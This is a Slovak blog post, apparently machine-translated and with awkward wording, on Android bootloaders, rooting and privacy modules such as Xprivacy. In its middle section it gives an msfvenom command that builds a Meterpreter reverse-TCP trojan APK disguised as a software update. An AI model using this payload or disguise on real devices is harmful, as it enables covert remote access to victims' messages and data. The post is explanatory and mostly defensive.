Zdroj obrázka: pixabay.com
Úvod do systému Android
V tomto téme sa dozvieme viac o zabezpečení systému Android a Open Source Security (OS). Android je platforma Open Source. Je to podobné ako Linux, ale stále sa príliš líši od Linuxu. Linux je v porovnaní so systémom Android príliš vyzretý. Toto je Chetan Nayak a vitajte v mojom ďalšom blogu o otvorenom webovom zabezpečení. Tento blog som napísal za predpokladu, že väčšina z nás bude používať systém Android K, tj Kitkat alebo Android L, tj lízatko.
Dôvod, prečo boli Gingerbread a Jellybean, mal veľa problémov s otvoreným zdrojom, o ktorých v tomto jednom blogu nemôžem diskutovať. Možno to budem diskutovať nabudúce, keď prebudím hlbšie staršie verzie systému Android. Takže odteraz sa držme KitKatu a lízatka.
Android bol navrhnutý s ohľadom na vývojárov. Cieľom bezpečnostných kontrol bolo znížiť zaťaženie vývojárov. Vývojári, ktorí pracujú na zabezpečení, môžu jednoducho pracovať a spoľahnúť sa na flexibilné bezpečnostné kontroly. Vývojári menej oboznámení s bezpečnosťou budú chránení bezpečnými predvolenými hodnotami.
Začiatok
Do androida som sa moc nedostal až v neskoršom štvrťroku 2013, keď som mal svoj prvý mobilný telefón s Androidom, ktorým bola Sony Xperia L (odvtedy založená na 4.2.2). Heck, dokonca som nenávidel android kvôli tomu, že to bolo veľmi laggy, najmä Samsung zariadenia. Vtedy som dokonca uvažoval o kúpe Windows Lumia, ale našťastie som hrával veľa hier a musel som si kúpiť Xperia L, pretože táto bunka bola Lag Proof. To malo asi 1 koncert RAM a Adreno 305. Dosť dosť na to, aby spustilo čokoľvek.
Po hraní mnohých hier ako NOVA3 a ModernCombat4 som sa z tejto bunky do mesiaca nudil. Vedel som, že Android je založený na systéme Linux, a chcel som v tom urobiť niektoré z mojich úprav. Začal som čítať o prispôsobeniach a dozvedel som sa o tom, čo sa nazýva 'zakorenenie'. Keďže som mal v Linuxe dobré skúsenosti, zakorenenie nebolo pre mňa problém. S trochou pomoci od XDA som bol schopný úspešne rootovať svoju bunku.
Ale potom ma niečo udrelo. Akonáhle sa moja bunka reštartovala po zakorenení, práve začala zavádzať slučky (navždy prilepená na zavádzacej obrazovke). Nevedel som ani, čo je bootloader v systéme Android. Takže som nemohol urobiť nič. Bolo to len mesiac, keď som kúpil svoju novú bunku a moja bunka bola teraz mäkká. Vždy som čítal, že zakorenenie je nebezpečné, ale nevedel som, že by to poškodilo moju celu. Ale mýlil som sa. Keď som čítal jednu a všetky ďalšie veci týkajúce sa zakorenenia, zistil som, že zakorenenie váš telefón nezdesí.
Rootovanie je podobné počítaču a prístup správcu v počítači (v skutočnosti je to prístup do systému, ale napísal som prístup správcu, takže je ľahké porozumieť pre noobov.). To znamená, že zakorenenie telefónu nikdy nezdvihne. Bol to bootloader, ktorý muroval môj telefón. Pre ľudí, ktorí nepoznajú bootloader, je; bootloader je podobný systému BIOS v systéme Windows. (Ak neviete, čo je BIOS, potom by ste si v prvom rade nemali prečítať premýšľanie o bezpečnosti.) Bootloader alebo Hboot (to sa nazýva v systéme Android) je prvá vec, ktorá sa spustí po spustení systému Android. zariadenie.
Balí pokyny na zavádzanie jadra operačného systému a väčšina z nich je špeciálne navrhnutá tak, aby spúšťala svoje vlastné prostredie na ladenie alebo úpravy.
Kontrolný bod zabezpečenia systému Android
Zavádzač predstavte ako kontrolný bod zabezpečenia vášho zariadenia. Ak tento kontrolný bod porušíte, prídete o všetko, čo máte na telefóne. Takže hovorím, že je to dobrá bezpečnostná funkcia. Pretože ak stratíte telefón a niekto sa pokúsi získať root prístup k zablokovaniu zámku (za predpokladu, že ste zariadenie zamkli špendlíkom alebo heslom.), Bude musieť povinne odomknúť bootloader, čo povedie k vymazaniu vašich údajov. na telefóne.
Nemusíte sa teda obávať, že ho niekto zneužije. Podobne je to v prípade vlastných ROM. ROM sú operačné systémy založené na verziách Android špeciálne navrhnutých pre vašu hardvérovú architektúru. Ak teda v telefóne skontrolujete XDA, budete mať pre svoje telefóny n počet prispôsobených ROM, z ktorých najznámejšie sú Cyanogen Mod ROM, ktoré sú už vopred zakorenené a prichádzajú s vopred definovanou sadou prispôsobení,
Bezpečnostné prehodnotenie systému Android
Od dnešného dňa si možno budete myslieť, že máte zabezpečený mobilný telefón. Ale som tu, aby som vám znova ukázal, že sa mýlite, a to je celý bod tohto blogu. V druhom štvrťroku 2014 už ľudia začali vyvíjať exploity a rootkity pre Android, ktoré by mohli rootovať vaše mobilné telefóny bez odomknutia zavádzačov.
Nie je dosť desivé? Poviem vám najnebezpečnejšiu časť. Mohli by dokonca nainštalovať trójske kone. Takže aj keď by policajti mohli sledovať bunku a dokonca by ste dostali svoju bunku späť, stále existuje vysoké riziko, že v telefóne uvidia všetko, čo robíte. Toto som vyskúšal ako experiment v skutočnom praktickom prostredí.
Na tento útok som použil Metasploit. Čo som urobil, som vytvoril trójsky kôň a nainštaloval som ho do cieľového telefónu. Bol to jednoduchý súbor apk a nazval som ho softvérovou aktualizáciou. Ak je teda používateľ obyčajným človekom, ktorý má iba kúsok a bajt informácií o zabezpečení, neodváži sa ho odstrániť. A ubezpečil som sa, že vždy, keď je aktivovaný internet, malware, ktorý som vytvoril, sa automaticky spustí a pripojí späť k môjmu vzdialenému portu na hostiteľskom počítači.
Na útok sa použili nasledujúce príkazy (Metasploit je softvér na testovanie penetrácie, ktorý pomáha pri kontrole zraniteľností na platforme alebo na konkrétnych zariadeniach.)
Adresa IP môjho hostiteľa: 192.168.xx.xx
Port môjho hostiteľa (na pripojenie späť): 445
>>>msfvenom
>>> msfvenom android / meterpreter / reverse_tcp LHOST = 192.168.xx.xx LPORT = 445> SoftwareUpgrade.apk
Preto som tu na počítači vytvoril reverzný kanál TCP. Takže pri každom spustení internetu v systéme Android dostanem na stroji Kali alebo na stroji, na ktorom som nainštaloval Metasploit, otvorenú schránku.
Takže teraz viete, aké je to desivé pre osobu, ktorú ani neviete, má záznamy o všetkých transakciách, ktoré robíte prostredníctvom vašej bunky, o každom ďalšom kontakte, správach WhatsApp, SMS, Viber a Skype a denníku hovorov a všetko. Ak to nie je desivé, potom neviem, čo je.
Odporúčané kurzy
- Certifikačný kurz ladenia v Ruby
- Kompletný kurz PHP MySQL
- Online certifikačný kurz v programovaní VB.NET
- Online kurz o nadácii ITIL
Pokrytie
Dosť o bezpečnostných otázkach. Všetci vieme, že každá ďalšia platforma má problémy s bezpečnosťou. Ako by sme potom mohli byť v bezpečí? Toto nie je úplne pravda. Platformy môžu byť zabezpečené až do určitého bodu, ale potom je na nás, aby sme sa ubezpečili, že to tak zostane. Vo svete bezpečnosti existuje neslávny citát:
„Sociálne inžinierstvo: Pretože neexistuje záplata pre ľudskú hlúposť“
Túto frázu som počul už dávno, keď som sledoval konferenciu DefCon.
Ak neexistuje technická náchylnosť na zneužitie, mali by ste sa pokúsiť hackovať ľudí. A tým nemyslím hypnotizmus a tak. Mám na mysli sociálne inžinierstvo. Viac informácií nájdete v mojom ďalšom blogu „Dôležitosť kybernetickej bezpečnosti v našom každodennom živote“.
Základná funkcia zabezpečenia systému Android
Okrem toho, sociálne inžinierstvo, o ktoré sa dá postarať, iba ak ste inteligentní; existuje spôsob, ako môžete vyvíjať aplikácie pre Android bezpečným spôsobom, aby ste sa uistili, že to tak zostane.
Tu sú niektoré z hlavných bezpečnostných funkcií, ktoré vám pomôžu vytvárať bezpečné aplikácie:
- Karta aplikácie Android, ktorá izoluje údaje aplikácií a vykonávanie kódu od iných aplikácií.
- Aplikačný rámec s robustnými implementáciami bežných bezpečnostných funkcií, ako sú kryptografia, povolenia a zabezpečené IPC.
- Šifrovaný súborový systém, ktorý sa dá povoliť na ochranu údajov na stratených alebo ukradnutých zariadeniach.
- Povolenia udelené používateľom na obmedzenie prístupu k funkciám systému a údajom používateľa.
- Povolenia definované aplikáciou na riadenie aplikačných údajov na základe aplikácie.
Čo môžete urobiť, ak chcete bezpečné prostredie, ale nie ste vývojár?
Od verzie Android 5, tj Lollipop, ponúka funkciu, v ktorej môže používateľ pridať viac profilov a režimov s obmedzeným používaním, aby mohol používať telefóny a tablety. Okrem toho, ak ste zakorenili svoj telefón, v moduloch Xposed sú aplikácie pre Android, ako sú AppOps, Xprivacy alebo Privacy Guard, ktoré vám môžu pomôcť postarať sa o takmer všetko. Musíte na to nainštalovať Xposed Framework.
Xposed Framework je to, čo umožňuje práci modulov Xposed. Moduly Xposed umožňujú zmeniť správanie súborov Apk a systémových súborov bez potreby inštalácie inej ROM. Je tiež ľahké vrátiť zmeny späť, takže tu nie je nijaké riziko a nie je to ani časovo náročné, pretože nie je potrebné blikať viac ROM, jadier a ich opráv chýb.
Xprivacy, Privacy Guard a AppOps sú exponované moduly, ktoré vám umožnia zaistiť bezpečnosť vášho Androidu výberom, ktorá aplikácia by mala mať prístup k informáciám, ako je internet, klávesnica, sdcard, prístup root a mnoho ďalších vecí. Môžete dokonca zakázať prístup iba k špecifickým službám a vytvoriť pre to užívateľsky definované šablóny. Pokiaľ ide o mňa, radšej som si vybral Xprivacy. Ale tu sú niektoré informácie alebo rozdiely, ak sa chcete prosiť, aby ste si vybrali medzi vyššie uvedenými tromi.
AppOps:
Toto bolo pôvodne zavedené spoločnosťou Google v systéme Android 4.3. (Toto je hlavný dôvod, prečo ho nepodporujem. Nedôverujem spoločnosti Google. Nazvite to Paranoia, ale spoločnosť Google sleduje všetko, čo robíte. A nepotrebujem, aby niekto sledoval všetko, čo robím, ale ak dôverujete spoločnosti Google., ísť na to.). Hlavným obmedzením aplikácie AppOps je to, že spoločnosť Google vám umožňuje blokovať prístup iba k aplikáciám, ktoré chcete blokovať.
To znamená, že ak chcete blokovať aplikácie súvisiace so spoločnosťou Google, ako sú napríklad služby Play (ktoré skutočne spotrebujú viac ako 50% svojej normálnej pamäte, batérie a údaje (internet)), nebudete to schopní. To je ďalší dôvod, prečo ma nenávidím. Takže som presvedčený, že AppOps pre mňa nie je ničím iným ako škodlivým softvérom. (ale takto si myslím len ja, nie je to, ak spoločnosti Google dôverujete výhradne)
Ochrana osobných údajov:
Ochrana osobných údajov je jednoduché rozhranie, ktoré nahradil AppOps spoločnosťou Cyanogen Mod. Ak ste začiatočník, navrhujem, aby ste ho použili, pretože má iba prepínacie tlačidlo na zapnutie a vypnutie šablón, ktoré by mali mať k akému typu aplikácie prístup. Nie je to také bezpečné, ak existuje škodlivý softvér, ktorý pôsobí alebo sa vydáva za systémovú aplikáciu. Je však dobré začať.
Xprivacy:
Xprivacy je nástroj typu všetko v jednom. Je však určený odborníkom. Môžete ho porovnať s nožom Švajčiarskej armády. Obsahuje všetko a môže zaistiť váš telefón bezpečným spôsobom iným spôsobom, ale ak neviete, čo robíte, váš telefón sa iba zmarí a aplikácie sa zastavia dokonca aj od začiatku. Môžete tiež obmedziť prístup k systémovým aplikáciám. Toto je to, čo si osobne vyberiem.
Okrem vyššie uvedených modulov existujú v Xposed aj ďalšie moduly, ako napríklad Lightening Firewall alebo BootManager, ktoré môžu pomôcť pri obmedzení prístupu na internet pre konkrétne aplikácie a pri reštartovaní telefónu zastaviť zavádzanie aplikácií spolu so systémom.
Takže to by bolo pre tento blog. V prípade bezpečnostných problémov môžete určite navštíviť alebo byť členom webovej stránky XDA, ktorá vám môže poskytnúť oveľa viac informácií o ochrane osobných údajov.
Odporúčané články: -
Toto bol sprievodca pre Android. Tu sme diskutovali o základných koncepciách, kontrolných bodoch zabezpečenia a základnej bezpečnostnej funkcii systému Android. Viac informácií nájdete aj v ďalších navrhovaných článkoch -
- Otázky na rozhovor s Androidom - 10 najdôležitejších užitočných otázok
- 8 užitočných alternatív Siri pre Android
- 28 najlepších tipov a trikov pre vývojové nástroje aplikácií pre Android
- Kariéra vo vývoji systému Android